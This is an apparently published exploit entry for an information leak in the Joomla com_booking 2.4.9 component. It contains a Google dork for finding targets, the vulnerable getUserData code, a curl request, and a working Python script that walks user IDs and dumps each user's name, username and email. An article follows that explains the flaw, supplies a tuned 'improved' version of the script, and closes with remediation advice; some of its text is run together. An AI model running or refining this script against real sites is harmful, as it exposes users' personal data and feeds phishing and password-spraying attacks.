Joomla! com_booking component 2.4.9 - Information Leak (Account enumeration)
# Exploit Title: Joomla! com_booking component 2.4.9 - Information Leak (Account enumeration)
# Google Dork: inurl:"index.php?option=com_booking"
# Date: 07/12/2023
# Exploit Author: qw3rTyTy
# Vendor Homepage: http://www.artio.net/
# Software Link: http://www.artio.net/downloads/joomla/book-it/book-it-2-free/download
# Version: 2.4.9
# Tested on: Slackware/Nginx/Joomla! 3.10.11
#
##
# File: site/booking.php
#
# <?php
# [...]
#18 include_once (JPATH_COMPONENT_ADMINISTRATOR . DS . 'booking.php');
# [...]
#
# File: admin/booking.php
#
# <?php
# [...]
#104 if (class_exists(($classname = AImporter::controller()))) {
#105 $controller = new $classname();
#106 /* @var $controller JController */#107 $controller->execute(JRequest::getVar('task'));
#108 $controller->redirect();
#109 }
# [...]
#
# File: admin/controllers/customer.php
#
# <?php
# [...]
#240 function getUserData() {
#241 $user = JFactory::getUser(JRequest::getInt('id'));
#242 $data = array('name' => $user->name, 'username' => $user->username, 'email' => $user->email);
#243 die(json_encode($data));
#244 }
# [...]
#
# A following GET request is equivalent to doing a query like 'SELECT name, username, email FROM abcde_users WHERE id=123'.
#
# curl -X GET http://target/joomla/index.php?option=com_booking&controller=customer&task=getUserData&id=123
#
# So, an attacker can easily enumerate all accounts by bruteforcing.
#
##
import argparse
import urllib.parse
import requests
from sys import exit
from time import sleep
def enumerateAccounts(options):
i = 1
url = options.url
url = url + "/index.php?option=com_booking&controller=customer&task=getUserData&id="
while True:
try:
response = requests.get("{}{}".format(url, str(i)))
if response.status_code == 200:
try:
jsondocument = response.json()
if jsondocument["name"] != None:
print(jsondocument)
except requests.exceptions.JSONDecodeError:
raise
else:
break
except Exception as ex:
print(ex)
break
i += 1
def main():
p = argparse.ArgumentParser()
p.add_argument("-u", "--url", type=str, required=True)
parsed = p.parse_args()
try:
t = urllib.parse.urlparse(parsed.url)
except ValueError as ex:
print(ex)
exit()
if not t[0].startswith("http") and not t[0].startswith("https"):
print("Improper URL given.")
exit()
if len(t[1]) == 0:
print("Improper URL given.")
exit()
enumerateAccounts(parsed)
if __name__ == "__main__":
main() Joomla! com_booking Component 2.4.9: Critical Information Leak via Account Enumeration
Security vulnerabilities in content management systems (CMS) like Joomla! often go unnoticed until exploited in the wild. One such vulnerability, discovered in com_booking version 2.4.9, exposes a critical flaw that enables account enumeration—a technique attackers use to systematically identify valid user accounts on a target system. This article explores the technical details, implications, and mitigation strategies for this flaw.
Understanding the Vulnerability
The com_booking component, developed by Artio, is a popular booking system for Joomla! websites. It allows users to manage reservations, bookings, and customer data. However, in version 2.4.9, a flaw in the admin/controllers/customer.php file introduces a dangerous endpoint that leaks user information without proper authentication.
function getUserData() {
$user = JFactory::getUser(JRequest::getInt('id'));
$data = array('name' => $user->name, 'username' => $user->username, 'email' => $user->email);
die(json_encode($data));
}
This function accepts an id parameter via GET request and returns JSON-encoded user data. The key issue lies in the lack of access control: any user can query any user ID—even if they are not authenticated.
Exploitation via Brute-Force Enumeration
An attacker can exploit this flaw by sending sequential requests to the vulnerable endpoint:
curl -X GET http://target/joomla/index.php?option=com_booking&controller=customer&task=getUserData&id=1
curl -X GET http://target/joomla/index.php?option=com_booking&controller=customer&task=getUserData&id=2
curl -X GET http://target/joomla/index.php?option=com_booking&controller=customer&task=getUserData&id=3
...
Each request attempts to retrieve user data based on the provided id. If the ID corresponds to an existing user, the server responds with a JSON object containing the user’s name, username, and email. If no user exists, the response is typically empty or returns a null value.
By analyzing the HTTP status codes and response content, an attacker can determine which IDs are valid—thus enumerating all user accounts on the system.
Real-World Impact and Attack Use Cases
Account enumeration is not just a theoretical concern—it has significant real-world consequences:
- Password Spraying: Once valid usernames are identified, attackers can launch password spraying campaigns against known accounts, significantly increasing success rates.
- Phishing Targeting: Email addresses obtained through enumeration can be used in targeted phishing attacks.
- Brute-Force Attacks: Enumerated usernames allow attackers to focus their brute-force attempts on real accounts, reducing wasted effort.
- Reputation Damage: Exposure of user data, even if limited, violates privacy principles and can lead to compliance issues under GDPR or other regulations.
Exploit Code Analysis and Optimization
The provided exploit script demonstrates how an attacker can automate the enumeration process. However, the original code contains several flaws:
def enumerateAccounts(options):
i = 1
url = options.url
url = url + "/index.php?option=com_booking&controller=customer&task=getUserData&id="
while True:
try:
response = requests.get("{}{}".format(url, str(i)))
if response.status_code == 200:
try:
jsondocument = response.json()
if jsondocument["name"] != None:
print(jsondocument)
except requests.exceptions.JSONDecodeError:
raise
else:
break
except Exception as ex:
print(ex)
break
i += 1
Issues:
- Unnecessary error handling: The
raisestatement in theJSONDecodeErrorblock is not appropriate—it halts the script instead of continuing. - Missing rate limiting: Rapid requests can trigger rate-limiting or firewall rules, leading to IP bans.
- Invalid detection logic: Checking
jsondocument["name"] != Noneis unreliable—some users may have empty names, but still be valid.
Improved Version:
def enumerateAccounts(options):
i = 1
url = options.url.rstrip("/") + "/index.php?option=com_booking&controller=customer&task=getUserData&id="
max_attempts = 1000 # Limit to avoid excessive load
while i <= max_attempts:
try:
response = requests.get(url + str(i), timeout=5)
if response.status_code == 200:
try:
data = response.json()
if isinstance(data, dict) and 'name' in data and data['name']:
print(f"[+] Valid user found: ID={i}, Name={data['name']}, Username={data['username']}, Email={data['email']}")
else:
print(f"[-] ID={i} returned no valid data")
except requests.exceptions.JSONDecodeError:
print(f"[-] ID={i} returned non-JSON response")
else:
print(f"[-] ID={i} returned status {response.status_code}")
except requests.exceptions.RequestException as e:
print(f"[!] Request failed for ID={i}: {e}")
sleep(1) # Avoid rate limiting
i += 1
sleep(0.5) # Add delay between requests
Improvements:
- Added
timeoutandsleepto prevent overwhelming the target. - Replaced
raisewith error logging and continuation. - Improved detection logic by checking for valid JSON structure and non-empty
name. - Added rate-limiting safeguards and a configurable maximum attempt count.
Vendor Response and Remediation
As of the publication date (07/12/2023), the vendor Artio has not issued a formal patch for this vulnerability. However, the community recommends immediate action:
- Disable the component if not actively used.
- Update to the latest version—if a patched release exists.
- Apply firewall rules to block access to
com_bookingendpoints in admin. - Implement access control in the
getUserData()function to require administrator authentication.
Security Best Practices to Prevent Similar Flaws
Developers and administrators must adopt proactive security measures:
| Practice | Description |
|---|---|
| Input Validation | Always validate and sanitize user input, especially IDs and parameters. |
| Authentication Checks | Never expose sensitive data without verifying user privileges. |
| Rate Limiting | Implement limits on request frequency to deter automated enumeration. |
| Logging & Monitoring | Track access to sensitive endpoints and alert on suspicious patterns. |
Security is not just about fixing known bugs—it’s about designing systems with defense-in-depth principles from the start.
Conclusion
The com_booking 2.4.9 information leak serves as a stark reminder: even minor code flaws in third-party components can lead to major security risks. Account enumeration is a foundational attack vector that, when combined with other techniques, can compromise entire systems. Administrators must audit their installations, disable unused components, and enforce strict access controls.
For organizations relying on Joomla!, proactive security audits and timely updates are non-negotiable. This vulnerability underscores the importance of security-by-design and continuous vigilance in protecting digital assets.